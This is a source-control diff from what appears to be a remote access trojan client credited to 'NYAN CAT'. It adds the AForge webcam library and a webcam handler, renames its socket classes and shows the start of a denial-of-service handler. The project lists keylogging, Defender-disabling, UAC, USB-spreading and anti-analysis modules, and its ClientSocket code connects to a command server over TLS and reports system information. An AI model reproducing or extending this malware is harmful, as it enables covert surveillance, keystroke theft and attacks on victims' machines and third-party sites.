/// Default value of connection type. Physically it does not exist, but just either to specify that
/// connection type should not be changed (input) or was not determined (output).
/// </summary>
Default = 0,
/// <summary>
/// Specifies a tuner pin for video.
/// </summary>
VideoTuner = 1,
/// <summary>
/// Specifies a composite pin for video.
/// </summary>
VideoComposite,
/// <summary>
/// Specifies an S-Video (Y/C video) pin.
/// </summary>
VideoSVideo,
/// <summary>
/// Specifies an RGB pin for video.
/// </summary>
VideoRGB,
/// <summary>
/// Specifies a YRYBY (Y, RY, BY) pin for video.
/// </summary>
VideoYRYBY,
/// <summary>
/// Specifies a serial digital pin for video.
/// </summary>
VideoSerialDigital,
/// <summary>
/// Specifies a parallel digital pin for video.
/// </summary>
VideoParallelDigital,
/// <summary>
/// Specifies a SCSI (Small Computer System Interface) pin for video.
/// </summary>
VideoSCSI,
/// <summary>
/// Specifies an AUX (auxiliary) pin for video.
/// </summary>
VideoAUX,
/// <summary>
/// Specifies an IEEE 1394 pin for video.
/// </summary>
Video1394,
/// <summary>
/// Specifies a USB (Universal Serial Bus) pin for video.
/// </summary>
VideoUSB,
/// <summary>
/// Specifies a video decoder pin.
/// </summary>
VideoDecoder,
/// <summary>
/// Specifies a video encoder pin.
/// </summary>
VideoEncoder,
/// <summary>
/// Specifies a SCART (Peritel) pin for video.
/// </summary>
VideoSCART,
/// <summary>
/// Not used.
/// </summary>
VideoBlack,
/// <summary>
/// Specifies a tuner pin for audio.
/// </summary>
AudioTuner = 4096,
/// <summary>
/// Specifies a line pin for audio.
/// </summary>
AudioLine,
/// <summary>
/// Specifies a microphone pin.
/// </summary>
AudioMic,
/// <summary>
/// Specifies an AES/EBU (Audio Engineering Society/European Broadcast Union) digital pin for audio.
/// </summary>
AudioAESDigital,
/// <summary>
/// Specifies an S/PDIF (Sony/Philips Digital Interface Format) digital pin for audio.
/// </summary>
AudioSPDIFDigital,
/// <summary>
/// Specifies a SCSI pin for audio.
/// </summary>
AudioSCSI,
/// <summary>
/// Specifies an AUX pin for audio.
/// </summary>
AudioAUX,
/// <summary>
/// Specifies an IEEE 1394 pin for audio.
/// </summary>
Audio1394,
/// <summary>
/// Specifies a USB pin for audio.
/// </summary>
AudioUSB,
/// <summary>
/// Specifies an audio decoder pin.
/// </summary>
AudioDecoder
}
}

View File

@ -0,0 +1,55 @@
// AForge Direct Show Library
// AForge.NET framework
//
// Copyright © Andrew Kirillov, 2008
// andrew.kirillov@gmail.com
//
namespace AForge.Video.DirectShow
{
using System;
using System.Runtime.InteropServices;
/// <summary>
/// DirectShow filter categories.
/// </summary>
[ComVisible( false )]
public static class FilterCategory
{
/// <summary>
/// Audio input device category.
/// </summary>
///
/// <remarks>Equals to CLSID_AudioInputDeviceCategory.</remarks>
///
public static readonly Guid AudioInputDevice =
new Guid( 0x33D9A762, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Video input device category.
/// </summary>
///
/// <remarks>Equals to CLSID_VideoInputDeviceCategory.</remarks>
///
public static readonly Guid VideoInputDevice =
new Guid( 0x860BB310, 0x5D01, 0x11D0, 0xBD, 0x3B, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Video compressor category.
/// </summary>
///
/// <remarks>Equals to CLSID_VideoCompressorCategory.</remarks>
///
public static readonly Guid VideoCompressorCategory =
new Guid( 0x33D9A760, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
/// <summary>
/// Audio compressor category
/// </summary>
///
/// <remarks>Equals to CLSID_AudioCompressorCategory.</remarks>
///
public static readonly Guid AudioCompressorCategory =
new Guid( 0x33D9A761, 0x90C8, 0x11D0, 0xBD, 0x43, 0x00, 0xA0, 0xC9, 0x11, 0xCE, 0x86 );
}
}

View File

@ -0,0 +1,245 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2013
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow
{
using System;
using System.Collections.Generic;
using System.Drawing;
using System.Runtime.InteropServices;
using AForge.Video;
using AForge.Video.DirectShow.Internals;
/// <summary>
/// Capabilities of video device such as frame size and frame rate.
/// </summary>
public class VideoCapabilities
{
/// <summary>
/// Frame size supported by video device.
/// </summary>
public readonly Size FrameSize;
/// <summary>
/// Frame rate supported by video device for corresponding <see cref="FrameSize">frame size</see>.
/// </summary>
///
/// <remarks><para><note>This field is depricated - should not be used.
/// Its value equals to <see cref="AverageFrameRate"/>.</note></para>
/// </remarks>
///
[Obsolete( "No longer supported. Use AverageFrameRate instead." )]
public int FrameRate
{
get { return AverageFrameRate; }
}
/// <summary>
/// Average frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
/// </summary>
public readonly int AverageFrameRate;
/// <summary>
/// Maximum frame rate of video device for corresponding <see cref="FrameSize">frame size</see>.
/// </summary>
public readonly int MaximumFrameRate;
/// <summary>
/// Number of bits per pixel provided by the camera.
/// </summary>
public readonly int BitCount;
internal VideoCapabilities( ) { }
// Retrieve capabilities of a video device
static internal VideoCapabilities[] FromStreamConfig( IAMStreamConfig videoStreamConfig )
{
if ( videoStreamConfig == null )
throw new ArgumentNullException( "videoStreamConfig" );
// ensure this device reports capabilities
int count, size;
int hr = videoStreamConfig.GetNumberOfCapabilities( out count, out size );
if ( hr != 0 )
Marshal.ThrowExceptionForHR( hr );
if ( count <= 0 )
throw new NotSupportedException( "This video device does not report capabilities." );
if ( size > Marshal.SizeOf( typeof( VideoStreamConfigCaps ) ) )
throw new NotSupportedException( "Unable to retrieve video device capabilities. This video device requires a larger VideoStreamConfigCaps structure." );
// group capabilities with similar parameters
Dictionary<uint, VideoCapabilities> videocapsList = new Dictionary<uint, VideoCapabilities>( );
for ( int i = 0; i < count; i++ )
{
try
{
VideoCapabilities vc = new VideoCapabilities( videoStreamConfig, i );
uint key = ( ( (uint) vc.FrameSize.Height ) << 32 ) |
( ( (uint) vc.FrameSize.Width ) << 16 );
if ( !videocapsList.ContainsKey( key ) )
{
videocapsList.Add( key, vc );
}
else
{
if ( vc.BitCount > videocapsList[key].BitCount )
{
videocapsList[key] = vc;
}
}
}
catch
{
}
}
VideoCapabilities[] videocaps = new VideoCapabilities[videocapsList.Count];
videocapsList.Values.CopyTo( videocaps, 0 );
return videocaps;
}
// Retrieve capabilities of a video device
internal VideoCapabilities( IAMStreamConfig videoStreamConfig, int index )
{
AMMediaType mediaType = null;
VideoStreamConfigCaps caps = new VideoStreamConfigCaps( );
try
{
// retrieve capabilities struct at the specified index
int hr = videoStreamConfig.GetStreamCaps( index, out mediaType, caps );
if ( hr != 0 )
Marshal.ThrowExceptionForHR( hr );
if ( mediaType.FormatType == FormatType.VideoInfo )
{
VideoInfoHeader videoInfo = (VideoInfoHeader) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader ) );
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
BitCount = videoInfo.BmiHeader.BitCount;
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
}
else if ( mediaType.FormatType == FormatType.VideoInfo2 )
{
VideoInfoHeader2 videoInfo = (VideoInfoHeader2) Marshal.PtrToStructure( mediaType.FormatPtr, typeof( VideoInfoHeader2 ) );
FrameSize = new Size( videoInfo.BmiHeader.Width, videoInfo.BmiHeader.Height );
BitCount = videoInfo.BmiHeader.BitCount;
AverageFrameRate = (int) ( 10000000 / videoInfo.AverageTimePerFrame );
MaximumFrameRate = (int) ( 10000000 / caps.MinFrameInterval );
}
else
{
throw new ApplicationException( "Unsupported format found." );
}
// ignore 12 bpp formats for now, since it was noticed they cause issues on Windows 8
// TODO: proper fix needs to be done so ICaptureGraphBuilder2::RenderStream() does not fail
// on such formats
if ( BitCount <= 12 )
{
throw new ApplicationException( "Unsupported format found." );
}
}
finally
{
if ( mediaType != null )
mediaType.Dispose( );
}
}
/// <summary>
/// Check if the video capability equals to the specified object.
/// </summary>
///
/// <param name="obj">Object to compare with.</param>
///
/// <returns>Returns true if both are equal are equal or false otherwise.</returns>
///
public override bool Equals( object obj )
{
return Equals( obj as VideoCapabilities );
}
/// <summary>
/// Check if two video capabilities are equal.
/// </summary>
///
/// <param name="vc2">Second video capability to compare with.</param>
///
/// <returns>Returns true if both video capabilities are equal or false otherwise.</returns>
///
public bool Equals( VideoCapabilities vc2 )
{
if ( (object) vc2 == null )
{
return false;
}
return ( ( FrameSize == vc2.FrameSize ) && ( BitCount == vc2.BitCount ) );
}
/// <summary>
/// Get hash code of the object.
/// </summary>
///
/// <returns>Returns hash code ot the object </returns>
public override int GetHashCode( )
{
return FrameSize.GetHashCode( ) ^ BitCount;
}
/// <summary>
/// Equality operator.
/// </summary>
///
/// <param name="a">First object to check.</param>
/// <param name="b">Seconds object to check.</param>
///
/// <returns>Return true if both objects are equal or false otherwise.</returns>
public static bool operator ==( VideoCapabilities a, VideoCapabilities b )
{
// if both are null, or both are same instance, return true.
if ( object.ReferenceEquals( a, b ) )
{
return true;
}
// if one is null, but not both, return false.
if ( ( (object) a == null ) || ( (object) b == null ) )
{
return false;
}
return a.Equals( b );
}
/// <summary>
/// Inequality operator.
/// </summary>
///
/// <param name="a">First object to check.</param>
/// <param name="b">Seconds object to check.</param>
///
/// <returns>Return true if both objects are not equal or false otherwise.</returns>
public static bool operator !=( VideoCapabilities a, VideoCapabilities b )
{
return !( a == b );
}
}
}

File diff suppressed because it is too large Load Diff

View File

@ -0,0 +1,47 @@
// AForge Direct Show Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2012
// contacts@aforgenet.com
//
namespace AForge.Video.DirectShow
{
using System;
/// <summary>
/// Video input of a capture board.
/// </summary>
///
/// <remarks><para>The class is used to describe video input of devices like video capture boards,
/// which usually provide several inputs.</para>
/// </remarks>
///
public class VideoInput
{
/// <summary>
/// Index of the video input.
/// </summary>
public readonly int Index;
/// <summary>
/// Type of the video input.
/// </summary>
public readonly PhysicalConnectorType Type;
internal VideoInput( int index, PhysicalConnectorType type )
{
Index = index;
Type = type;
}
/// <summary>
/// Default video input. Used to specify that it should not be changed.
/// </summary>
public static VideoInput Default
{
get { return new VideoInput( -1, PhysicalConnectorType.Default ); }
}
}
}

View File

@ -0,0 +1,126 @@
// AForge Video Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © Andrew Kirillov, 2005-2009
// andrew.kirillov@aforgenet.com
//
namespace AForge.Video
{
using System;
/// <summary>
/// Video source interface.
/// </summary>
///
/// <remarks>The interface describes common methods for different type of video sources.</remarks>
///
public interface IVideoSource
{
/// <summary>
/// New frame event.
/// </summary>
///
/// <remarks><para>This event is used to notify clients about new available video frame.</para>
///
/// <para><note>Since video source may have multiple clients, each client is responsible for
/// making a copy (cloning) of the passed video frame, but video source is responsible for
/// disposing its own original copy after notifying of clients.</note></para>
/// </remarks>
///
event NewFrameEventHandler NewFrame;
/// <summary>
/// Video source error event.
/// </summary>
///
/// <remarks>This event is used to notify clients about any type of errors occurred in
/// video source object, for example internal exceptions.</remarks>
///
event VideoSourceErrorEventHandler VideoSourceError;
/// <summary>
/// Video playing finished event.
/// </summary>
///
/// <remarks><para>This event is used to notify clients that the video playing has finished.</para>
/// </remarks>
///
event PlayingFinishedEventHandler PlayingFinished;
/// <summary>
/// Video source.
/// </summary>
///
/// <remarks>The meaning of the property depends on particular video source.
/// Depending on video source it may be a file name, URL or any other string
/// describing the video source.</remarks>
///
string Source { get; }
/// <summary>
/// Received frames count.
/// </summary>
///
/// <remarks>Number of frames the video source provided from the moment of the last
/// access to the property.
/// </remarks>
///
int FramesReceived { get; }
/// <summary>
/// Received bytes count.
/// </summary>
///
/// <remarks>Number of bytes the video source provided from the moment of the last
/// access to the property.
/// </remarks>
///
long BytesReceived { get; }
/// <summary>
/// State of the video source.
/// </summary>
///
/// <remarks>Current state of video source object - running or not.</remarks>
///
bool IsRunning { get; }
/// <summary>
/// Start video source.
/// </summary>
///
/// <remarks>Starts video source and return execution to caller. Video source
/// object creates background thread and notifies about new frames with the
/// help of <see cref="NewFrame"/> event.</remarks>
///
void Start( );
/// <summary>
/// Signal video source to stop its work.
/// </summary>
///
/// <remarks>Signals video source to stop its background thread, stop to
/// provide new frames and free resources.</remarks>
///
void SignalToStop( );
/// <summary>
/// Wait for video source has stopped.
/// </summary>
///
/// <remarks>Waits for video source stopping after it was signalled to stop using
/// <see cref="SignalToStop"/> method.</remarks>
///
void WaitForStop( );
/// <summary>
/// Stop video source.
/// </summary>
///
/// <remarks>Stops video source aborting its thread.</remarks>
///
void Stop( );
}
}

View File

@ -0,0 +1,125 @@
// AForge Video Library
// AForge.NET framework
// http://www.aforgenet.com/framework/
//
// Copyright © AForge.NET, 2009-2011
// contacts@aforgenet.com
//
namespace AForge.Video
{
using System;
/// <summary>
/// Delegate for new frame event handler.
/// </summary>
///
/// <param name="sender">Sender object.</param>
/// <param name="eventArgs">Event arguments.</param>
///
public delegate void NewFrameEventHandler( object sender, NewFrameEventArgs eventArgs );
/// <summary>
/// Delegate for video source error event handler.
/// </summary>
///
/// <param name="sender">Sender object.</param>
/// <param name="eventArgs">Event arguments.</param>
///
public delegate void VideoSourceErrorEventHandler( object sender, VideoSourceErrorEventArgs eventArgs );
/// <summary>
/// Delegate for playing finished event handler.
/// </summary>
///
/// <param name="sender">Sender object.</param>
/// <param name="reason">Reason of finishing video playing.</param>
///
public delegate void PlayingFinishedEventHandler( object sender, ReasonToFinishPlaying reason );
/// <summary>
/// Reason of finishing video playing.
/// </summary>
///
/// <remarks><para>When video source class fire the <see cref="IVideoSource.PlayingFinished"/> event, they
/// need to specify reason of finishing video playing. For example, it may be end of stream reached.</para></remarks>
///
public enum ReasonToFinishPlaying
{
/// <summary>
/// Video playing has finished because it end was reached.
/// </summary>
EndOfStreamReached,
/// <summary>
/// Video playing has finished because it was stopped by user.
/// </summary>
StoppedByUser,
/// <summary>
/// Video playing has finished because the device was lost (unplugged).
/// </summary>
DeviceLost,
/// <summary>
/// Video playing has finished because of some error happened the video source (camera, stream, file, etc.).
/// A error reporting event usually is fired to provide error information.
/// </summary>
VideoSourceError
}
/// <summary>
/// Arguments for new frame event from video source.
/// </summary>
///
public class NewFrameEventArgs : EventArgs
{
private System.Drawing.Bitmap frame;
/// <summary>
/// Initializes a new instance of the <see cref="NewFrameEventArgs"/> class.
/// </summary>
///
/// <param name="frame">New frame.</param>
///
public NewFrameEventArgs( System.Drawing.Bitmap frame )
{
this.frame = frame;
}
/// <summary>
/// New frame from video source.
/// </summary>
///
public System.Drawing.Bitmap Frame
{
get { return frame; }
}
}
/// <summary>
/// Arguments for video source error event from video source.
/// </summary>
///
public class VideoSourceErrorEventArgs : EventArgs
{
private string description;
/// <summary>
/// Initializes a new instance of the <see cref="VideoSourceErrorEventArgs"/> class.
/// </summary>
///
/// <param name="description">Error description.</param>
///
public VideoSourceErrorEventArgs( string description )
{
this.description = description;
}
/// <summary>
/// Video source error description.
/// </summary>
///
public string Description
{
get { return description; }
}
}
}

View File

@ -6,7 +6,7 @@ using System.Runtime.CompilerServices;
using System.Security.Cryptography; using System.Security.Cryptography;
using System.Text; using System.Text;
namespace Client.Cryptography namespace Client.Algorithm
{ {
public class Aes256 public class Aes256
{ {

View File

@ -1,7 +1,7 @@
using System.Security.Cryptography; using System.Security.Cryptography;
using System.Text; using System.Text;
namespace Client.Cryptography namespace Client.Algorithm
{ {
public static class Sha256 public static class Sha256
{ {

View File

@ -72,12 +72,46 @@
<Reference Include="System.XML" /> <Reference Include="System.XML" />
</ItemGroup> </ItemGroup>
<ItemGroup> <ItemGroup>
<Compile Include="Cryptography\Aes256.cs" /> <Compile Include="AForge\Video.DirectShow\CameraControlProperty.cs" />
<Compile Include="Cryptography\Sha256.cs" /> <Compile Include="AForge\Video.DirectShow\FilterInfo.cs" />
<Compile Include="AForge\Video.DirectShow\FilterInfoCollection.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMCameraControl.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMCrossbar.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMStreamConfig.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IAMVideoControl.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IBaseFilter.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ICaptureGraphBuilder2.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ICreateDevEnum.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IEnumFilters.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IEnumPins.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IFilterGraph2.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IGraphBuilder.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IMediaControl.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IMediaEventEx.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IPin.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IPropertyBag.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\IReferenceClock.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabber.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ISampleGrabberCB.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\ISpecifyPropertyPages.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\Structures.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\Uuids.cs" />
<Compile Include="AForge\Video.DirectShow\Internals\Win32.cs" />
<Compile Include="AForge\Video.DirectShow\PhysicalConnectorType.cs" />
<Compile Include="AForge\Video.DirectShow\Uuids.cs" />
<Compile Include="AForge\Video.DirectShow\VideoCapabilities.cs" />
<Compile Include="AForge\Video.DirectShow\VideoCaptureDevice.cs" />
<Compile Include="AForge\Video.DirectShow\VideoInput.cs" />
<Compile Include="AForge\Video\IVideoSource.cs" />
<Compile Include="AForge\Video\VideoEvents.cs" />
<Compile Include="Algorithm\Aes256.cs" />
<Compile Include="Algorithm\Sha256.cs" />
<Compile Include="Handle Packet\HandleBlankScreen.cs" /> <Compile Include="Handle Packet\HandleBlankScreen.cs" />
<Compile Include="Handle Packet\HandleBotKiller.cs" /> <Compile Include="Handle Packet\HandleBotKiller.cs" />
<Compile Include="Handle Packet\HandleDos.cs" /> <Compile Include="Handle Packet\HandleDos.cs" />
<Compile Include="Handle Packet\HandleFileManager.cs" /> <Compile Include="Handle Packet\HandleFileManager.cs" />
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" />
<Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" /> <Compile Include="Handle Packet\HandlerExecuteDotNetCode.cs" />
<Compile Include="Handle Packet\HandleThumbnails.cs" /> <Compile Include="Handle Packet\HandleThumbnails.cs" />
<Compile Include="Handle Packet\HandlePcOptions.cs" /> <Compile Include="Handle Packet\HandlePcOptions.cs" />
@ -88,11 +122,12 @@
<Compile Include="Handle Packet\HandleTorrent.cs" /> <Compile Include="Handle Packet\HandleTorrent.cs" />
<Compile Include="Handle Packet\HandleUAC.cs" /> <Compile Include="Handle Packet\HandleUAC.cs" />
<Compile Include="Handle Packet\HandleUninstall.cs" /> <Compile Include="Handle Packet\HandleUninstall.cs" />
<Compile Include="Handle Packet\HandleWebcam.cs" />
<Compile Include="Handle Packet\HandleWindowsDefender.cs" /> <Compile Include="Handle Packet\HandleWindowsDefender.cs" />
<Compile Include="Handle Packet\Packet.cs" /> <Compile Include="Handle Packet\Packet.cs" />
<Compile Include="Handle Packet\HandleLimeLogger.cs" /> <Compile Include="Handle Packet\HandleLimeLogger.cs" />
<Compile Include="Handle Packet\HandleProcessManager.cs" /> <Compile Include="Handle Packet\HandleProcessManager.cs" />
<Compile Include="Handle Packet\HandleRemoteDesktop.cs" /> <Compile Include="Handle Packet\HandlePlugin.cs" />
<Compile Include="Handle Packet\HandleSendTo.cs" /> <Compile Include="Handle Packet\HandleSendTo.cs" />
<Compile Include="Handle Packet\HandleLimeUSB.cs" /> <Compile Include="Handle Packet\HandleLimeUSB.cs" />
<Compile Include="Helper\Anti_Analysis.cs" /> <Compile Include="Helper\Anti_Analysis.cs" />
@ -113,8 +148,8 @@
<Compile Include="Program.cs" /> <Compile Include="Program.cs" />
<Compile Include="Properties\AssemblyInfo.cs" /> <Compile Include="Properties\AssemblyInfo.cs" />
<Compile Include="Settings.cs" /> <Compile Include="Settings.cs" />
<Compile Include="Sockets\ClientSocket.cs" /> <Compile Include="Connection\ClientSocket.cs" />
<Compile Include="Sockets\TempSocket.cs" /> <Compile Include="Connection\TempSocket.cs" />
<Compile Include="StreamLibrary\Enums.cs" /> <Compile Include="StreamLibrary\Enums.cs" />
<Compile Include="StreamLibrary\IUnsafeCodec.cs" /> <Compile Include="StreamLibrary\IUnsafeCodec.cs" />
<Compile Include="StreamLibrary\IVideoCodec.cs" /> <Compile Include="StreamLibrary\IVideoCodec.cs" />

View File

@ -10,6 +10,7 @@ using System.Net.Security;
using System.Security.Authentication; using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Net; using System.Net;
using Client.Algorithm;
// │ Author : NYAN CAT // │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1 // │ Name : Nyan Socket v0.1
@ -17,11 +18,11 @@ using System.Net;
// This program is distributed for educational purposes only. // This program is distributed for educational purposes only.
namespace Client.Sockets namespace Client.Connection
{ {
public static class ClientSocket public static class ClientSocket
{ {
public static Socket Client { get; set; } public static Socket TcpClient { get; set; }
public static SslStream SslClient { get; set; } public static SslStream SslClient { get; set; }
private static byte[] Buffer { get; set; } private static byte[] Buffer { get; set; }
private static long Buffersize { get; set; } private static long Buffersize { get; set; }
@ -35,7 +36,7 @@ namespace Client.Sockets
try try
{ {
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{ {
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
@ -54,15 +55,15 @@ namespace Client.Sockets
{ {
try try
{ {
Client.Connect(theaddress, ServerPort); //lets try and connect! TcpClient.Connect(theaddress, ServerPort); //lets try and connect!
if (Client.Connected) break; if (TcpClient.Connected) break;
} }
catch { } catch { }
} }
} }
else else
{ {
Client.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS) TcpClient.Connect(ServerIP, ServerPort); //legacy mode connect (no DNS)
} }
} }
else else
@ -75,16 +76,16 @@ namespace Client.Sockets
string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None); string[] spl = resp.Split(new[] { ":" }, StringSplitOptions.None);
Settings.Hosts = spl[0]; Settings.Hosts = spl[0];
Settings.Ports = spl[new Random().Next(1, spl.Length)]; Settings.Ports = spl[new Random().Next(1, spl.Length)];
Client.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports)); TcpClient.Connect(Settings.Hosts, Convert.ToInt32(Settings.Ports));
} }
} }
if (Client.Connected) if (TcpClient.Connected)
{ {
Debug.WriteLine("Connected!"); Debug.WriteLine("Connected!");
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; Buffer = new byte[4];
MS = new MemoryStream(); MS = new MemoryStream();
Send(Methods.SendInfo()); Send(Methods.SendInfo());
@ -125,7 +126,7 @@ namespace Client.Sockets
{ {
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
Client?.Dispose(); TcpClient?.Dispose();
MS?.Dispose(); MS?.Dispose();
} }
catch { } catch { }
@ -135,7 +136,7 @@ namespace Client.Sockets
{ {
try try
{ {
if (!Client.Connected || !IsConnected) if (!TcpClient.Connected || !IsConnected)
{ {
IsConnected = false; IsConnected = false;
return; return;
@ -199,12 +200,11 @@ namespace Client.Sockets
return; return;
} }
byte[] buffer = msg; byte[] buffersize = BitConverter.GetBytes(msg.Length);
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Write(buffersize, 0, buffersize.Length);
SslClient.Write(buffer, 0, buffer.Length); SslClient.Write(msg, 0, msg.Length);
SslClient.Flush(); SslClient.Flush();
} }
catch catch

View File

@ -13,6 +13,7 @@ using System.Net.Security;
using System.Security.Authentication; using System.Security.Authentication;
using System.Security.Cryptography.X509Certificates; using System.Security.Cryptography.X509Certificates;
using System.Net; using System.Net;
using Client.Algorithm;
// │ Author : NYAN CAT // │ Author : NYAN CAT
// │ Name : Nyan Socket v0.1 // │ Name : Nyan Socket v0.1
@ -20,11 +21,11 @@ using System.Net;
// This program is distributed for educational purposes only. // This program is distributed for educational purposes only.
namespace Client.Sockets namespace Client.Connection
{ {
public class TempSocket public class TempSocket
{ {
public Socket Client { get; set; } public Socket TcpClient { get; set; }
public SslStream SslClient { get; set; } public SslStream SslClient { get; set; }
private byte[] Buffer { get; set; } private byte[] Buffer { get; set; }
private long Buffersize { get; set; } private long Buffersize { get; set; }
@ -40,18 +41,18 @@ namespace Client.Sockets
try try
{ {
Client = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp) TcpClient = new System.Net.Sockets.Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp)
{ {
ReceiveBufferSize = 50 * 1024, ReceiveBufferSize = 50 * 1024,
SendBufferSize = 50 * 1024, SendBufferSize = 50 * 1024,
}; };
Client.Connect(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.Client.RemoteEndPoint.ToString().Split(':')[1])); TcpClient.Connect(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[0], Convert.ToInt32(ClientSocket.TcpClient.RemoteEndPoint.ToString().Split(':')[1]));
Debug.WriteLine("Temp Connected!"); Debug.WriteLine("Temp Connected!");
IsConnected = true; IsConnected = true;
SslClient = new SslStream(new NetworkStream(Client, true), false, ValidateServerCertificate); SslClient = new SslStream(new NetworkStream(TcpClient, true), false, ValidateServerCertificate);
SslClient.AuthenticateAsClient(Client.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false); SslClient.AuthenticateAsClient(TcpClient.RemoteEndPoint.ToString().Split(':')[0], null, SslProtocols.Tls, false);
Buffer = new byte[4]; Buffer = new byte[4];
MS = new MemoryStream(); MS = new MemoryStream();
Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000)); Tick = new Timer(new TimerCallback(CheckServer), null, new Random().Next(15 * 1000, 30 * 1000), new Random().Next(15 * 1000, 30 * 1000));
@ -75,11 +76,19 @@ namespace Client.Sockets
public void Dispose() public void Dispose()
{ {
IsConnected = false;
try
{
TcpClient.Shutdown(SocketShutdown.Both);
}
catch { }
try try
{ {
Tick?.Dispose(); Tick?.Dispose();
SslClient?.Dispose(); SslClient?.Dispose();
Client?.Dispose(); TcpClient?.Dispose();
MS?.Dispose(); MS?.Dispose();
} }
catch { } catch { }
@ -152,15 +161,15 @@ namespace Client.Sockets
{ {
try try
{ {
if (!IsConnected || msg == null || !ClientSocket.IsConnected) if (!IsConnected || !ClientSocket.IsConnected)
{ {
Dispose();
return; return;
} }
byte[] buffer = msg; byte[] buffersize = BitConverter.GetBytes(msg.Length);
byte[] buffersize = BitConverter.GetBytes(buffer.Length);
Client.Poll(-1, SelectMode.SelectWrite); TcpClient.Poll(-1, SelectMode.SelectWrite);
SslClient.Write(buffersize, 0, buffersize.Length); SslClient.Write(buffersize, 0, buffersize.Length);
SslClient.Flush(); SslClient.Flush();
int chunkSize = 50 * 1024; int chunkSize = 50 * 1024;

View File

@ -4,7 +4,7 @@ using System.Diagnostics;
using System.Runtime.InteropServices; using System.Runtime.InteropServices;
using Microsoft.Win32; using Microsoft.Win32;
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System.Security.Principal; using System.Security.Principal;
// │ Author : NYAN CAT // │ Author : NYAN CAT

View File

@ -1,5 +1,5 @@
using Client.MessagePack; using Client.MessagePack;
using Client.Sockets; using Client.Connection;
using System; using System;
using System.Collections.Generic; using System.Collections.Generic;
using System.Diagnostics; using System.Diagnostics;
@ -27,43 +27,44 @@ namespace Client.Handle_Packet
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"}; "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"};
public void DosPost(MsgPack unpack_msgpack) public void DosPost(MsgPack unpack_msgpack)
{
try
{ {
host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost; host = new Uri(unpack_msgpack.ForcePathObject("Host").AsString).DnsSafeHost;
